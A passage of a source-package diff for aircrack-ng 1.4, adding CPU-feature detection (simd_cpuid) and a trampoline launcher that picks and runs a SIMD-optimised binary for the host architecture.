+	long hwcaps = getauxval(AT_HWCAP);
+
+	if (hwcaps & (1 << 12)) // NEON
+		return 4;
+#endif
+	(void) viewmax;
+
+	// MMX or CPU Fallback
+	return 1;
+}
+
+#ifdef _X86
+char * cpuid_vendor(void)
+{
+	unsigned eax = 0, ebx = 0, ecx = 0, edx = 0;
+
+	__cpuid(0, eax, ebx, ecx, edx);
+
+	if ((ebx == 0x756E6547) && (edx == 0x49656E69))
+		return "Intel";
+	else if ((ebx == 0x68747541) || (ebx == 0x69444D41))
+		return "AMD";
+	else if (ebx == 0x746E6543)
+		return "Centaur (VIA)";
+	else if (ebx == 0x69727943)
+		return "Cyrix";
+	else if ((ebx == 0x6E617254)
+			 || ((ebx == 0x756E6547) && (edx == 0x54656E69)))
+		return "Transmeta";
+	else if (ebx == 0x646F6547)
+		return "Geode by NSC (AMD)";
+	else if (ebx == 0x4778654E)
+		return "NexGen";
+	else if (ebx == 0x65736952)
+		return "Rise";
+	else if (ebx == 0x20536953)
+		return "SiS";
+	else if (ebx == 0x20434D55)
+		return "UMC";
+	else if (ebx == 0x20414956)
+		return "VIA";
+	else if (ebx == 0x74726F56)
+		return "Vortex86 SoC";
+	else if (ebx == 0x4B4D564B)
+		return "KVM (Virtual Machine)";
+	else if (ebx == 0x7263694D)
+		return "Microsoft Hyper-V or Virtual PC";
+	else if (ebx == 0x70726C20)
+		return "Parallels (Virtual Machine)";
+	else if (ebx == 0x61774D56)
+		return "VMware";
+	else if (ebx == 0x566E6558)
+		return "Xen HVM (Virtual Machine)";
+
+	return "Unknown CPU";
+}
+#endif
+
+char * cpuid_featureflags(void)
+{
+	char flags[64] = {0};
+#ifdef _X86
+	unsigned eax = 0, ebx = 0, ecx = 0, edx = 0;
+	unsigned int max_level = __get_cpuid_max(0, NULL);
+
+	__cpuid(1, eax, ebx, ecx, edx);
+
+	if (edx & (1 << 23)) sprintcat((char *) &flags, "MMX", sizeof(flags));
+
+	if (edx & (1 << 25)) sprintcat((char *) &flags, "SSE", sizeof(flags));
+
+	if (edx & (1 << 26)) sprintcat((char *) &flags, "SSE2", sizeof(flags));
+
+	if (ecx & (1 << 0)) sprintcat((char *) &flags, "SSE3", sizeof(flags));
+
+	if (ecx & (1 << 9)) sprintcat((char *) &flags, "SSSE3", sizeof(flags));
+
+	if (ecx & (1 << 19)) sprintcat((char *) &flags, "SSE4.1", sizeof(flags));
+
+	if (ecx & (1 << 20)) sprintcat((char *) &flags, "SSE4.2", sizeof(flags));
+
+	if (ecx & (1 << 25)) sprintcat((char *) &flags, "AES-NI", sizeof(flags));
+
+	// Don't set this if we got it from a higher topology previously.
+	if (cpuinfo.maxlogic
+		== 0) // Maximum addressable logical CPUs per pkg/socket.
+		cpuinfo.maxlogic = (ebx >> 16) & 0xFF;
+
+	if (edx & (1 << 28)) // Hyper-threading
+		cpuinfo.htt = 1;
+
+	if (ecx & (1 << 28)) // AVX
+		sprintcat((char *) &flags, "AVX", sizeof(flags));
+
+	if (ecx & (1 << 31)) // Hypervisor
+		cpuinfo.hv = 1;
+
+	if (max_level >= 7)
+	{
+		__cpuid_count(7, 0, eax, ebx, ecx, edx);
+
+		if (ebx & (1 << 5)) // AVX2
+			sprintcat((char *) &flags, "AVX2", sizeof(flags));
+
+		if (ebx & (1 << 16)) // AVX512F
+			sprintcat((char *) &flags, "AVX512F", sizeof(flags));
+	}
+#elif defined(__arm__) && defined(HAS_AUXV)
+	long hwcaps = getauxval(AT_HWCAP);
+
+	if (hwcaps & (1 << 12)) sprintcat((char *) &flags, "NEON", sizeof(flags));
+
+	if (hwcaps & (1 << 1)) sprintcat((char *) &flags, "HALF", sizeof(flags));
+
+	if (hwcaps & (1 << 2)) sprintcat((char *) &flags, "THUMB", sizeof(flags));
+
+	if (hwcaps & (1 << 11))
+		sprintcat((char *) &flags, "THUMBEE", sizeof(flags));
+
+	if (hwcaps & (1 << 6)) sprintcat((char *) &flags, "VFP", sizeof(flags));
+
+	if ((hwcaps & (1 << 13)) || (hwcaps & (1 << 14)))
+		sprintcat((char *) &flags, "VFPv3", sizeof(flags));
+
+	if (hwcaps & (1 << 16)) sprintcat((char *) &flags, "VFPv4", sizeof(flags));
+
+	if (hwcaps & (1 << 15)) sprintcat((char *) &flags, "TLS", sizeof(flags));
+
+	if (hwcaps & (1 << 10)) sprintcat((char *) &flags, "CRUNCH", sizeof(flags));
+
+	if (hwcaps & (1 << 9)) sprintcat((char *) &flags, "iwMMXt", sizeof(flags));
+
+	if ((hwcaps & (1 << 17)) || (hwcaps & (1 << 18)))
+		sprintcat((char *) &flags, "IDIV", sizeof(flags));
+#endif
+	return strdup(flags);
+}
+
+float cpuid_getcoretemp(void)
+{
+#ifdef __FreeBSD__
+	int tempval = 0;
+	size_t len = sizeof(tempval);
+
+	if (sysctlbyname("dev.cpu.0.temperature", &tempval, &len, NULL, 0) == -1)
+		return 0;
+
+	cpuinfo.coretemp = (tempval - 2732) / 10;
+#elif __linux__
+	if (cpuinfo.cputemppath != NULL)
+	{
+		cpuinfo.coretemp
+			= cpuid_readsysfs((const char *) cpuinfo.cputemppath) / 1000;
+	}
+#else
+	return 0;
+#endif
+	return cpuinfo.coretemp;
+}
+
+#ifdef __linux__
+//
+// Locate the primary temp input on the coretemp sysfs
+//
+int cpuid_findcpusensorpath(const char * path)
+{
+	DIR * dirp;
+	struct dirent * dp;
+	char tbuf[16][32] = {{0}};
+	int cnt = 0, i = 0, sensorx = 0;
+	char sensor[8] = {0};
+
+	dirp = opendir(path);
+
+	if (dirp == NULL) return -1;
+
+	snprintf(sensor, sizeof(sensor), "temp%d", sensorx);
+
+	while ((dp = readdir(dirp)) != NULL)
+	{
+		if (!strncmp(dp->d_name, sensor, 5))
+		{
+			(void) closedir(dirp);
+			if (asprintf(&cpuinfo.cputemppath,
+						 "%stemp%d_input",
+						 CORETEMP_PATH,
+						 sensorx)
+				== -1)
+			{
+				perror("asprintf");
+			}
+			return sensorx;
+		}
+		else if (!strncmp(dp->d_name, "temp", 4))
+			sprintf(tbuf[cnt++], "%s", dp->d_name);
+	}
+
+	(void) closedir(dirp);
+
+	// Hopefully we found the ID on the first pass, but Linux is its infinite
+	// wisdom
+	// sometimes starts the sensors at 2-6+
+	for (sensorx = 1; sensorx < 8; sensorx++)
+		for (i = 0; i < cnt; i++)
+		{
+			snprintf(sensor, sizeof(sensor), "temp%d", sensorx);
+
+			if (!strncasecmp(tbuf[i], sensor, strlen(sensor)))
+			{
+				if (asprintf(&cpuinfo.cputemppath,
+							 "%stemp%d_input",
+							 CORETEMP_PATH,
+							 sensorx)
+					== -1)
+				{
+					perror("asprintf");
+				}
+				return sensorx;
+			}
+		}
+
+	return -1;
+}
+
+int cpuid_readsysfs(const char * file)
+{
+	int fd, ival = 0;
+	struct stat sf;
+	char buf[16] = {0};
+
+	if (stat(file, &sf)) return -1;
+
+	fd = open(file, O_RDONLY);
+
+	if (fd == -1) return -1;
+
+	if (read(fd, &buf, sizeof(buf)))
+	{
+		ival = atoi(buf);
+	}
+
+	close(fd);
+
+	return ival;
+}
+
+//
+// Return CPU frequency from scaling governor when supported
+//
+int cpuid_getfreq(int type)
+{
+	int fd, ifreq = 0;
+	struct stat sf;
+	char freq[16] = {0}, *fptr;
+
+	fptr = (type == 1 ? CPUFREQ_CPU0C : CPUFREQ_CPU0M);
+
+	if (stat(fptr, &sf)) return 0;
+
+	fd = open(fptr, O_RDONLY);
+
+	if (fd == -1) return 0;
+
+	if (read(fd, &freq, sizeof(freq))) ifreq = atoi(freq) / 1000;
+
+	close(fd);
+
+	return ifreq;
+}
+#endif
+
+char * cpuid_modelinfo(void)
+{
+#ifdef _X86
+	unsigned eax = 0, ebx = 0, ecx = 0, edx = 0;
+	int bi = 2, broff = 0;
+	char * tmpmodel = calloc(1, (sizeof(unsigned) * 4) * 5);
+#elif __linux__
+	FILE * cfd;
+	char *line = NULL, *token = NULL;
+	size_t linecap = 0;
+	ssize_t linelen;
+#elif __FreeBSD__ /* ARM support for FreeBSD */
+	int mib[] = {CTL_HW, HW_MODEL};
+	char modelbuf[64];
+	size_t len = sizeof(modelbuf);
+#endif
+	char *pm = NULL, *model = NULL;
+
+#ifdef _X86
+	if (tmpmodel == NULL)
+	{
+		fprintf(stderr,
+				"ERROR: calloc() failed to allocate memory for "
+				"cpuid_modelinfo(): %s\n",
+				strerror(errno));
+		return "Unknown";
+	}
+
+	for (; bi < 5; bi++, broff += 16)
+	{
+		__cpuid(0x80000000 + bi, eax, ebx, ecx, edx);
+
+		memcpy(tmpmodel + broff, &eax, sizeof(unsigned));
+		memcpy(tmpmodel + broff + 4, &ebx, sizeof(unsigned));
+		memcpy(tmpmodel + broff + 8, &ecx, sizeof(unsigned));
+		memcpy(tmpmodel + broff + 12, &edx, sizeof(unsigned));
+	}
+
+	pm = tmpmodel;
+
+#elif __linux__
+	cfd = fopen("/proc/cpuinfo", "r");
+
+	if (cfd == NULL)
+	{
+		fprintf(stderr,
+				"ERROR: Failed opening /proc/cpuinfo: %s\n",
+				strerror(errno));
+		return "Unknown";
+	}
+
+	while ((linelen = getline(&line, &linecap, cfd)) > 0)
+	{
+		if (!strncasecmp(line, "model", 5))
+		{
+			token = strsep(&line, ":");
+			token = strsep(&line, ":");
+
+			token[strlen(token) - 1] = 0;
+			(void) *token++;
+
+			pm = token;
+			break;
+		}
+	}
+
+	free(line);
+	line = NULL;
+
+	fclose(cfd);
+#elif __FreeBSD__
+	if (sysctl(mib, 2, modelbuf, &len, NULL, 0))
+		snprintf(modelbuf, sizeof(modelbuf), "Unknown");
+
+	pm = modelbuf;
+#endif
+
+	// Clean up the empty spaces in the model name on some intel's because they
+	// let their engineers fall asleep on the space bar
+	while (*pm == ' ')
+	{
+		pm++;
+	}
+
+	model = strdup(pm);
+
+#ifdef _X86
+	free(tmpmodel);
+	tmpmodel = NULL;
+#endif
+
+	if (model == NULL)
+	{
+		fprintf(stderr,
+				"ERROR: strdup() failed to allocate memory for "
+				"cpuid_modelinfo(): %s\n",
+				strerror(errno));
+		return "Unknown";
+	}
+
+	return model;
+}
+
+int cpuid_getinfo()
+{
+	int cpu_count = get_nb_cpus();
+	float cpu_temp;
+#ifdef _X86
+	unsigned eax = 0, ebx = 0, ecx = 0, edx = 0;
+	unsigned int max_level = __get_cpuid_max(0, NULL);
+	int topologyLevel = 0, topologyType;
+#ifdef DEBUG
+	int topologyShift;
+#endif
+
+	// Attempt higher level topology scan first.
+	do
+	{
+		__cpuid_count(11, topologyLevel, eax, ebx, ecx, edx);
+
+		// if EBX ==0 then this subleaf is not valid, and the processor doesn't
+		// support this.
+		if (ebx == 0) break;
+
+		topologyType = getRegister(ecx, 8, 15);
+#ifdef DEBUG
+		topologyShift = getRegister(eax, 0, 4);
+#endif
+
+		if ((topologyType == 2) && ((int) eax != 0 && (int) ebx != 0))
+		{
+			cpuinfo.cores = (int) eax;
+			cpuinfo.maxlogic = (int) ebx;
+		}
+#ifdef DEBUG
+		printf("%u %u %u %u\n", eax, ebx, ecx, edx);
+		printf("type %d, shift = %d\n", topologyType, topologyShift);
+#endif
+		topologyLevel++;
+	} while (topologyLevel < 5);
+
+#ifdef DEBUG
+	__cpuid(1, eax, ebx, ecx, edx);
+
+	printf("Family: %d", (eax >> 8) & 0xF);
+	printf("\t\tStepping %d\t\t", eax & 0xF);
+	printf("Model %d\n", (eax >> 4) & 0xF);
+	printf("Processor type %d\t", (eax >> 12) & 0x3);
+	printf("Extended model %d\t", (eax >> 16) & 0xF);
+	printf("Extended family %d\n", (eax >> 20) & 0xFF);
+#endif
+
+	printf("Vendor          = %s\n", cpuid_vendor());
+
+	if (max_level >= 4)
+	{
+		__cpuid(4, eax, ebx, ecx, edx);
+
+		if (topologyLevel == 0)
+		{
+			if (eax >> 26)
+				cpuinfo.coreperid = (eax >> 26) + 1;
+			else // This processor only supports level1 topology. :'(
+				cpuinfo.coreperid = 1;
+		}
+	}
+	else
+		cpuinfo.coreperid = 1;
+
+#ifdef DEBUG
+	printf("cpuinfo.coreperid = %d, cpuinfo.cores = %d, maxlogic = %d (tlevel "
+		   "%d)\n",
+		   cpuinfo.coreperid,
+		   cpuinfo.cores,
+		   cpuinfo.maxlogic,
+		   topologyLevel);
+#endif
+
+	if ((cpuinfo.cores == 0) && (cpuinfo.coreperid != 0))
+	{
+		// On lower topology processors we have to calculate the cores from max
+		// cores per id (pkg/socket) by max addressable
+		cpuinfo.cores = (cpuinfo.maxlogic / cpuinfo.coreperid);
+	}
+#endif
+#ifdef __linux__
+	cpuid_findcpusensorpath(CORETEMP_PATH);
+	cpuinfo.cpufreq_cur = cpuid_getfreq(1);
+	cpuinfo.cpufreq_max = cpuid_getfreq(2);
+#endif
+
+	cpuinfo.model = cpuid_modelinfo();
+	cpuinfo.flags = cpuid_featureflags();
+
+	printf("Model           = %s\n", cpuinfo.model);
+	printf("Features        = %s\n", cpuinfo.flags);
+
+	// this shouldn't happen but prepare for the worst.
+	if (cpuinfo.cores == 0) cpuinfo.cores = cpu_count;
+
+	// If our max logic matches our cores, we don't have HT even if the proc
+	// says otherwise.
+	if (cpuinfo.cores == cpuinfo.maxlogic) cpuinfo.htt = 0;
+
+#ifdef _X86
+	printf("Hyper-Threading = %s\n", cpuinfo.htt ? "Yes" : "No");
+#endif
+
+	if (cpuinfo.hv) printf("Hypervisor      = Yes (Virtualization detected)\n");
+
+	// This inaccuracy can happen when running under a hypervisor, correct it.
+	if (cpuinfo.cores > cpuinfo.maxlogic) cpuinfo.maxlogic = cpuinfo.cores;
+
+	if (cpuinfo.cpufreq_cur)
+		printf("CPU frequency   = %d MHz (Max: %d MHz)\n",
+			   cpuinfo.cpufreq_cur,
+			   cpuinfo.cpufreq_max);
+
+	cpu_temp = cpuid_getcoretemp();
+	if (cpu_temp != 0.0) printf("CPU temperature = %2.2f C\n", cpu_temp);
+
+	if (cpuinfo.htt) printf("Logical CPUs    = %d\n", cpuinfo.maxlogic);
+
+	printf("CPU cores       = %d", cpuinfo.cores);
+
+	if (cpuinfo.maxlogic != cpu_count)
+	{
+		if (cpu_count > cpuinfo.maxlogic)
+			printf(" (%d total, %d sockets)",
+				   cpu_count,
+				   (cpu_count / cpuinfo.maxlogic));
+		else
+			printf(" (%d total)", cpu_count);
+	}
+
+	cpuinfo.simdsize = cpuid_simdsize(1);
+
+	printf("\nSIMD size       = %d ", cpuinfo.simdsize);
+
+	if (cpuinfo.simdsize == 1)
+		printf("(64 bit)\n");
+	else if (cpuinfo.simdsize == 4)
+		printf("(128 bit)\n");
+	else if (cpuinfo.simdsize == 8)
+		printf("(256 bit)\n");
+	else if (cpuinfo.simdsize == 16)
+		printf("(512 bit)\n");
+	else
+		printf("(unknown)\n");
+
+	free(cpuinfo.flags);
+	cpuinfo.flags = NULL;
+	free(cpuinfo.model);
+	cpuinfo.model = NULL;
+
+	if (cpuinfo.cputemppath != NULL)
+	{
+		free(cpuinfo.cputemppath);
+		cpuinfo.cputemppath = NULL;
+	}
+
+	return 0;
+}

aircrack-ng-1.4.tar.gz/src/aircrack-util/simd_cpuid.h Added

@@ -0,0 +1,78 @@
+/*
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
+ * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
+ * NON-INFRINGEMENT.  See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
+ * MA 02110-1301, USA.
+ *
+ * In addition, as a special exception, the copyright holders give
+ * permission to link the code of portions of this program with the
+ * OpenSSL library under certain conditions as described in each
+ * individual source file, and distribute linked combinations
+ * including the two.
+ * You must obey the GNU General Public License in all respects
+ * for all of the code used other than OpenSSL.  If you modify
+ * file(s) with this exception, you may extend this exception to your
+ * version of the file(s), but you are not obligated to do so.  If you
+ * do not wish to do so, delete this exception statement from your
+ * version.  If you delete this exception statement from all source
+ * files in the program, then also delete it here.
+ */
+
+#ifndef AIRCRACK_NG_CPUID_H
+#define AIRCRACK_NG_CPUID_H
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+struct _cpuinfo
+{
+	int simdsize; /* SIMD size		*/
+	char * flags; /* Feature Flags	*/
+	char * model; /* CPU Model		*/
+	int cores; /* Real CPU cores       */
+	int coreperid; /* Max cores per id     */
+	int htt; /* Hyper-Threading      */
+	int maxlogic; /* Max addressible lCPU */
+	int hv; /* Hypervisor detected  */
+	int cpufreq_cur; /* CPUfreq Current	*/
+	int cpufreq_max; /* CPUfreq Maximum	*/
+	float coretemp; /* CPU Temperature	*/
+	char * cputemppath; /* Linux CPU Sensor Path */
+};
+
+/**
+ * Retrieve the number of 32-bit integers able to be packed into a single
+ * vector register.
+ *
+ * This value is dependent on the running machine, and may not reflect what
+ * the source code is able to process. PROGRAMMER BEWARE!
+ *
+ * @return int Number of 32-bit integers able to pack in one vector register.
+ */
+extern int cpuid_simdsize(int);
+
+/// Populates the \a cpuinfo with detected information about the running
+/// machine.
+extern int cpuid_getinfo(void);
+
+/// Structure containing information about the running machine. The
+/// function \a cpuid_getinfo must be called first!
+extern struct _cpuinfo cpuinfo;
+
+#ifdef __cplusplus
+};
+#endif
+
+#endif // AIRCRACK_NG_CPUID_H

aircrack-ng-1.4.tar.gz/src/aircrack-util/trampoline.c Added

@@ -0,0 +1,294 @@
+/*
+ *  Copyright (C) 2018 Joseph Benden <joe@benden.us>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ */
+
+#ifndef NDEBUG
+#define NDEBUG
+#endif
+
+#include <assert.h>
+#include <stdio.h>
+#include <errno.h>
+
+#ifdef HAVE_STDLIB_H
+#include <stdlib.h>
+#endif
+
+#ifdef HAVE_UNISTD_H
+#include <unistd.h>
+#endif
+
+#ifdef HAVE_SYS_TYPES_H
+#include <sys/types.h>
+#endif
+
+#ifdef HAVE_STRING_H
+#include <string.h>
+#endif
+
+#ifdef HAVE_STRINGS_H
+#include <strings.h>
+#endif
+
+#include "trampoline.h"
+
+#ifndef MAX_PATH
+#define MAX_PATH 16536
+#endif
+
+#ifndef EXEEXT
+#define EXEEXT ""
+#endif
+
+#ifndef AIRCRACK_LIBEXEC_PATH
+#define AIRCRACK_LIBEXEC_PATH "/usr/local/libexec/aircrack-ng"
+#endif
+
+#ifndef TRAMPOLINE_TARGET
+#define TRAMPOLINE_TARGET "aircrack-ng"
+#endif
+
+static void simd_select_best_binary(char * buffer,
+									size_t buffer_remaining,
+									int simd_features)
+{
+	assert(buffer != NULL);
+	assert(buffer_remaining > 0);
+
+	if (simd_features & SIMD_SUPPORTS_AVX2)
+	{
+		strncat(buffer, TRAMPOLINE_TARGET "--avx2" EXEEXT, buffer_remaining);
+	}
+	else if (simd_features & SIMD_SUPPORTS_AVX)
+	{
+		strncat(buffer, TRAMPOLINE_TARGET "--avx" EXEEXT, buffer_remaining);
+	}
+	else if (simd_features & SIMD_SUPPORTS_SSE2)
+	{
+		strncat(buffer, TRAMPOLINE_TARGET "--sse2" EXEEXT, buffer_remaining);
+	}
+	/*
+  else if (simd_features & SIMD_SUPPORTS_MMX)
+  {
+	strncat (buffer, TRAMPOLINE_TARGET "--mmx" EXEEXT, buffer_remaining);
+  }
+  */
+	else if (simd_features & SIMD_SUPPORTS_ASIMD)
+	{
+		strncat(buffer, TRAMPOLINE_TARGET "--asimd" EXEEXT, buffer_remaining);
+	}
+	else if (simd_features & SIMD_SUPPORTS_NEON)
+	{
+		strncat(buffer, TRAMPOLINE_TARGET "--neon" EXEEXT, buffer_remaining);
+	}
+	else if (simd_features & SIMD_SUPPORTS_POWER8)
+	{
+		strncat(buffer, TRAMPOLINE_TARGET "--power8" EXEEXT, buffer_remaining);
+	}
+	else if (simd_features & SIMD_SUPPORTS_ALTIVEC)
+	{
+		strncat(buffer, TRAMPOLINE_TARGET "--altivec" EXEEXT, buffer_remaining);
+	}
+	else
+	{
+		strncat(buffer, TRAMPOLINE_TARGET "--generic" EXEEXT, buffer_remaining);
+	}
+}
+
+static void determine_path_envvar(char * binary_path)
+{
+	assert(binary_path != NULL);
+
+	strncpy(binary_path, "PATH=", MAX_PATH);
+
+	if (getenv("PATH"))
+	{
+		strncat(
+			binary_path, getenv("PATH"), MAX_PATH - strlen(binary_path) - 1);
+	}
+	else
+	{
+		strncat(binary_path,
+				"/bin:/usr/bin:/usr/local/bin",
+				MAX_PATH - strlen(binary_path) - 1);
+	}
+}
+
+static void initialize_full_path(char * binary_path)
+{
+	assert(binary_path != NULL);
+
+	strncpy(binary_path, AIRCRACK_LIBEXEC_PATH, MAX_PATH);
+
+	if (getenv("AIRCRACK_LIBEXEC_PATH"))
+	{
+		strncpy(binary_path, getenv("AIRCRACK_LIBEXEC_PATH"), MAX_PATH);
+	}
+
+	strncat(binary_path, "/", MAX_PATH - strlen(binary_path) - 1);
+}
+
+static int perform_simd_detection(void)
+{
+	int result;
+
+	simd_init();
+
+	result = simd_get_supported_features();
+
+#ifndef NDEBUG
+	(void) printf("D: simd_features=%d\n", result);
+#endif
+
+	simd_destroy();
+
+	return (result);
+}
+
+int main(int argc, char * argv[])
+{
+	int rc = 0;
+	int simd_features;
+	char binary_path[MAX_PATH + 1];
+	char path_env[MAX_PATH + 1];
+	char ** args = NULL;
+	char ** environment = NULL;
+
+	memset(binary_path, 0, MAX_PATH + 1);
+	memset(path_env, 0, MAX_PATH + 1);
+
+	initialize_full_path(binary_path);
+
+	simd_features = perform_simd_detection();
+
+	// select the best binary, based on the CPU features detected
+	simd_select_best_binary(
+		binary_path, MAX_PATH - strlen(binary_path) - 1, simd_features);
+
+	// set-up PATH environment variable
+	determine_path_envvar(path_env);
+
+	// prepare arguments
+	args = calloc(argc + 1, sizeof(char *));
+	size_t n_args = 0;
+
+	if (!args)
+	{
+		(void) fprintf(
+			stderr, "F: Memory allocation failure: %s\n", strerror(errno));
+		goto out;
+	}
+
+	// add the binary as the first parameter
+	args[n_args] = strdup(binary_path);
+
+	if (!args[n_args])
+	{
+		(void) fprintf(
+			stderr, "F: Memory allocation failure: %s\n", strerror(errno));
+		goto out;
+	}
+
+	++n_args;
+
+	// add in all passed parameters
+	for (size_t idx = 1; idx < (size_t) argc; ++idx)
+	{
+		args[n_args] = strdup(argv[idx]);
+
+		if (!args[n_args])
+		{
+			(void) fprintf(
+				stderr, "F: Memory allocation failure: %s\n", strerror(errno));
+			goto out;
+		}
+
+		++n_args;
+	}
+
+	// prepare sanitized environment variables
+	environment = calloc(2, sizeof(char *));
+	size_t n_envs = 0;
+
+	if (!environment)
+	{
+		(void) fprintf(
+			stderr, "F: Memory allocation failure: %s\n", strerror(errno));
+		goto out;
+	}
+
+	environment[n_envs] = strdup(path_env);
+	if (!environment[n_envs])
+	{
+		(void) fprintf(
+			stderr, "F: Memory allocation failure: %s\n", strerror(errno));
+		goto out;
+	}
+	++n_envs;
+
+#ifndef NDEBUG
+	(void) printf("D: Launching %s\n", binary_path);
+	for (size_t idx = 0; idx < n_args; ++idx)
+	{
+		(void) printf("D: Arg %lu: %s\n", (unsigned long) idx, args[idx]);
+	}
+	for (size_t idx = 0; idx < n_envs; ++idx)
+	{
+		(void) printf(
+			"D: Env %lu: %s\n", (unsigned long) idx, environment[idx]);
+	}
+#endif
+
+	rc = execve(
+		binary_path, (char * const *) args, (char * const *) environment);
+	if (rc == -1)
+	{
+		(void) fprintf(
+			stderr, "F: Failed to spawn binary: %s\n", strerror(errno));
+	}
+
+out:
+	if (args)
+	{
+		// release arguments
+		for (size_t idx = 0; idx < n_args; ++idx)
+		{
+			if (args[idx])
+			{
+				free(args[idx]);
+			}
+		}
+
+		free(args);
+	}
+
+	if (environment)
+	{
+		// release environment variables
+		for (size_t idx = 0; idx < n_envs; ++idx)
+		{
+			if (environment[idx])
+			{
+				free(environment[idx]);
+			}
+		}
+
+		free(environment);
+	}
+
+	return (rc);
+}

aircrack-ng-1.4.tar.gz/src/aircrack-util/trampoline.h Added

@@ -0,0 +1,45 @@
+/*
+ *  Copyright (C) 2018 Joseph Benden <joe@benden.us>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ */
+
+#ifndef AIRCRACK_NG_TRAMPOLINE_H
+#define AIRCRACK_NG_TRAMPOLINE_H
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#define SIMD_SUPPORTS_NONE (1 << 0)
+#define SIMD_SUPPORTS_MMX (1 << 1)
+#define SIMD_SUPPORTS_SSE2 (1 << 2)
+#define SIMD_SUPPORTS_AVX (1 << 3)
+#define SIMD_SUPPORTS_AVX2 (1 << 4)
+#define SIMD_SUPPORTS_NEON (1 << 5)
+#define SIMD_SUPPORTS_ASIMD (1 << 6)
+#define SIMD_SUPPORTS_ALTIVEC (1 << 7)
+#define SIMD_SUPPORTS_POWER8 (1 << 8)
+#define SIMD_SUPPORTS_AVX512F (1 << 9)
+
+void simd_init(void);
+int simd_get_supported_features(void);
+void simd_destroy(void);
+
+#ifdef __cplusplus
+};
+#endif
+
+#endif

aircrack-ng-1.4.tar.gz/src/aircrack-util/trampoline_arm.c Added

@@ -0,0 +1,56 @@
+/*
+ *  Copyright (C) 2018 Joseph Benden <joe@benden.us>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ */
+
+#if defined(__arm__) || defined(__aarch64__)
+#ifdef HAS_AUXV
+#include <sys/auxv.h>
+#include <asm/hwcap.h>
+#endif
+#else
+#error "The wrong CPU architecture file has been included."
+#endif
+
+#include "trampoline.h"
+
+void simd_init(void) {}
+
+void simd_destroy(void) {}
+
+int simd_get_supported_features(void)
+{
+	int result = 0;
+#ifdef HAS_AUXV
+	long hwcaps = getauxval(AT_HWCAP);
+
+#if defined(HWCAP_ASIMD)
+	if (hwcaps & HWCAP_ASIMD)
+	{
+		result |= SIMD_SUPPORTS_ASIMD;
+	}
+#endif
+
+#if defined(HWCAP_NEON)
+	if (hwcaps & HWCAP_NEON)
+	{
+		result |= SIMD_SUPPORTS_NEON;
+	}
+#endif
+#endif
+
+	return (result);
+}

aircrack-ng-1.4.tar.gz/src/aircrack-util/trampoline_ppc.c Added

@@ -0,0 +1,49 @@
+/*
+ *  Copyright (C) 2018 Joseph Benden <joe@benden.us>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ */
+
+#if defined(__ppc__) || defined(__PPC__)
+#ifdef HAS_AUXV
+#include <sys/auxv.h>
+#include <bits/hwcap.h>
+#endif
+#else
+#error "The wrong CPU architecture file has been included."
+#endif
+
+#include "trampoline.h"
+
+void simd_init(void) {}
+
+void simd_destroy(void) {}
+
+int simd_get_supported_features(void)
+{
+	int result = 0;
+#ifdef HAS_AUXV
+	long hwcaps = getauxval(AT_HWCAP2);
+
+#if defined(PPC_FEATURE2_ARCH_2_07)
+	if (hwcaps & PPC_FEATURE2_ARCH_2_07)
+	{
+		result |= SIMD_SUPPORTS_POWER8;
+	}
+#endif
+#endif
+
+	return (result);
+}

aircrack-ng-1.4.tar.gz/src/aircrack-util/trampoline_stubs.c Added

aircrack-ng-1.4.tar.gz/src/aircrack-util/trampoline_x86.c Added

@@ -0,0 +1,76 @@
+/*
+ *  Copyright (C) 2018 Joseph Benden <joe@benden.us>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
